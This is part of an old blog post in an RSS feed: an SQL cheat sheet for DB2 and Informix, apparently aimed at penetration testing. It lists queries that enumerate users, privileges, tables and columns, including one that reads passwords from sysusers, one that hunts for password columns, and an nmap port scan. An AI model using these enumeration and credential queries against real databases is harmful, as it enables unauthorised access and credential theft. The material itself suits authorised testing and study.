<td>select name from sysibm.systables;</td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>select  name from (SELECT name FROM sysibm.systables order by <br /> name fetch  first N+M-1 rows only) sq order by name desc fetch first N rows only;</td>
</tr>
<tr>
<td>Select  Nth Char  <br /></td>
<td>SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1;&#160;  -- returns b</td>
</tr>
<tr>
<td>Bitwise AND&#160; <br /></td>
<td><a href="http://www.tar.hu/sqlbible/sqlbible0084.html">This page</a> seems  to indicate that DB2 has no support for bitwise operators!</td>
</tr>
<tr>
<td>
<p>ASCII  Value -&gt; Char</p>
</td>
<td>select chr(65) from sysibm.sysdummy1; --  returns 'A'</td>
</tr>
<tr>
<td>Char -&gt; ASCII Value</td>
<td>select  ascii('A') from sysibm.sysdummy1; -- returns 65</td>
</tr>
<tr>
<td>Casting</td>
<td>SELECT  cast('123' as integer) FROM sysibm.sysdummy1;<br />SELECT cast(1 as char)  FROM sysibm.sysdummy1;</td>
</tr>
<tr>
<td>String Concatenation</td>
<td>SELECT  'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc'<br />select  'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'</td>
</tr>
</tbody>
</table>
<p><br />Informix:</p>
<table border="1">
<tbody>
<tr>
<td>Version<br /></td>
<td>SELECT DBINFO('version', 'full') FROM  systables WHERE tabid = 1;<br />SELECT DBINFO('version', 'server-type')  FROM systables WHERE tabid = 1;<br />SELECT DBINFO('version', 'major'),  DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables  WHERE tabid = 1;<br />SELECT DBINFO('version', 'os') FROM systables WHERE  tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app  running on 64-bit Unix, F=64-bit app running on 64-bit unix<br /></td>
</tr>
<tr>
<td>Comments</td>
<td>select  1 FROM systables WHERE tabid = 1; -- comment<br /></td>
</tr>
<tr>
<td>Current  User <br /></td>
<td>
<p>SELECT USER FROM systables WHERE tabid = 1;<br />select  CURRENT_ROLE FROM systables WHERE tabid = 1;</p>
</td>
</tr>
<tr>
<td>List  Users</td>
<td>select username, usertype, password from sysusers;<br /></td>
</tr>
<tr>
<td>List Privileges</td>
<td>select  tabname, grantor, grantee, tabauth FROM systabauth join systables on  systables.tabid = systabauth.tabid; -- which tables are accessible by  which users<br />select procname, owner, grantor, grantee from sysprocauth  join sysprocedures on sysprocauth.procid = sysprocedures.procid; --  which procedures are accessible by which users<br /></td>
</tr>
<tr>
<td>Current Database</td>
<td>SELECT  DBSERVERNAME FROM systables where tabid = 1; -- server name<br /></td>
</tr>
<tr>
<td>List  Databases</td>
<td>select name, owner from sysdatabases;<br /></td>
</tr>
<tr>
<td>List  Columns <br /></td>
<td>select tabname, colname, owner, coltype FROM  syscolumns join systables on syscolumns.tabid = systables.tabid;<br /></td>
</tr>
<tr>
<td>List  Tables</td>
<td>select tabname, owner FROM systables;<br />select  tabname, viewtext FROM sysviews&#160; join systables on systables.tabid =  sysviews.tabid;<br /></td>
</tr>
<tr>
<td>List Stored Procedures<br /></td>
<td>select  procname, owner FROM sysprocedures;<br /></td>
</tr>
<tr>
<td>Find Tables  From Column Name</td>
<td>select tabname, colname, owner, coltype FROM  syscolumns join systables on syscolumns.tabid = systables.tabid where  colname like '%pass%';</td>
</tr>
<tr>
<td>Select Nth Row</td>
<td>select  first 1 tabid from (select first 10 tabid from systables order by tabid)  as sq order by tabid desc; -- selects the 10th row</td>
</tr>
<tr>
<td>Select  Nth Char  <br /></td>
<td>SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM  systables where tabid = 1; -- returns 'C'<br /></td>
</tr>
<tr>
<td>Bitwise  AND&#160; <br /></td>
<td>select bitand(6, 1) from systables where tabid = 1; --  returns 0<br />select bitand(6, 2) from systables where tabid = 1; --  returns 2<br /></td>
</tr>
<tr>
<td>Char  -&gt; ASCII Value</td>
<td>select ascii('A') from systables where tabid =  1;<br /></td>
</tr>
<tr>
<td>Casting</td>
<td>select cast('123' as integer)  from systables where tabid = 1;<br />select cast(1 as char) from systables  where tabid = 1;<br /></td>
</tr>
<tr>
<td>String Concatenation</td>
<td>SELECT  'A' || 'B' FROM systables where tabid = 1; -- returns 'AB'<br />SELECT  concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB'<br /></td>
</tr>
<tr>
<td>String  Length<br /></td>
<td>SELECT tabname, length(tabname),  char_length(tabname), octet_length(tabname) from systables;</td>
</tr>
<tr>
<td>Case Statement</td>
<td>select  tabid, case when tabid&gt;10 then "High" else 'Low' end from systables;<br /></td>
</tr>
<tr>
<td>Hostname, IP Address</td>
<td>SELECT  DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname<br /></td>
</tr>
<tr>
<td>Default/System  Databases<br /></td>
<td>These are the system databases:<br />sysmaster<br />sysadmin*<br />sysuser*<br />sysutils*<br /><br />*  = don't seem to contain anything / don't allow reading<br /></td>
</tr>
<tr>
<td>Installing  Locally<br /></td>
<td>
<p>You can download <a href="http://www.ibm.com/developerworks/downloads/im/dsexp/?S_TACT=105AGX11&amp;S_CMP=LP">Informix  Dynamic Server Express Edition 11.5 Trial</a> for Linux and Windows.</p>
</td>
</tr>
<tr>
<td>Database  Client<br /></td>
<td>There's a <a href="http://www14.software.ibm.com/webapp/download/search.jsp?rs=ifxdl">database  client SDK</a> available, but I couldn't get the demo client working.<br />I  used <a href="http://squirrel-sql.sourceforge.net/">SQuirreL SQL Client  Version 2.6.8</a> after installing the <a href="http://www14.software.ibm.com/webapp/download/search.jsp?go=y&amp;rs=ifxjdbc">Informix  JDBC drivers</a> ("emerge dev-java/jdbc-informix" on Gentoo).</td>
</tr>
<tr>
<td>Logging  in from command line<br /></td>
<td>
<p>If you get local admin rights on a  Windows box and have a GUI logon:</p>
<ul>
<li>Click: Start | All Programs  | IBM Informix Dynamic Server 11.50 | someservername.&#160; This will give  you a command prompt with various Environment variables set properly.</li>
<li>Run  dbaccess.exe from your command prompt.&#160; This will bring up a text-based  GUI that allows you to browse databases.</li>
</ul>
<p>The following  were set on my test system.&#160; This may help if you get command line  access, but can't get a GUI - you'll need to change "testservername":</p>
<pre>set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50&lt;br /&gt;set INFORMIXSERVER=testservername&lt;br /&gt;set ONCONFIG=ONCONFIG.testservername&lt;br /&gt;set PATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\PROGRA~1\ibm\gsk7\bin;C:\PROGRA~1\ibm\gsk7\lib;C:\Program Files\IBM\Informix\Clien-SDK\bin;C:\Program Files\ibm\gsk7\bin;C:\Program Files\ibm\gsk7\lib&lt;br /&gt;set CLASSPATH=C:\PROGRA~1\IBM\IBMINF~1\11.50\extend\krakatoa\krakatoa.jar;C:\PROGRA~1\IBM\IBMINF~1\11.50\xtend\krakatoa\jdbc.jar;&lt;br /&gt;set DBTEMP=C:\PROGRA~1\IBM\IBMINF~1\11.50\infxtmp&lt;br /&gt;set CLIENT_LOCALE=EN_US.CP1252&lt;br /&gt;set DB_LOCALE=EN_US.8859-1&lt;br /&gt;set SERVER_LOCALE=EN_US.CP1252&lt;br /&gt;set DBLANG=EN_US.CP1252&lt;br /&gt;mode con codepage select=1252&lt;br /&gt;</pre>
</td>
</tr>
<tr>
<td>
<pre>Identifying on the network</pre>
</td>
<td>
<p>My  default installation listened on two TCP ports: 9088 and 9099.&#160; When I  created a new "server name", this listened on 1526/TCP by default.&#160; Nmap  4.76 didn't identify these ports as Informix:</p>
<p>$ sudo nmap -sS -sV  10.0.0.1 -p- -v --version-all<br />...<br />1526/tcp open&#160; pdap-np?<br />9088/tcp  open&#160; unknown<br />9089/tcp open&#160; unknown<br />...<br />TODO How would we  identify Informix listening on the network?</p></td>
</tr>
</tbody>
</table>
<p>&#160;</p>]]></content:encoded>
								<comments>http://www.bethlehem.eu/blog/2010/07/sql-cheat-sheets#comments</comments>
			<wfw:commentRss>http://www.bethlehem.eu/blog/?tempskin=_rss2&#38;disp=comments&#38;p=39</wfw:commentRss>
		</item>
			</channel>
</rss>

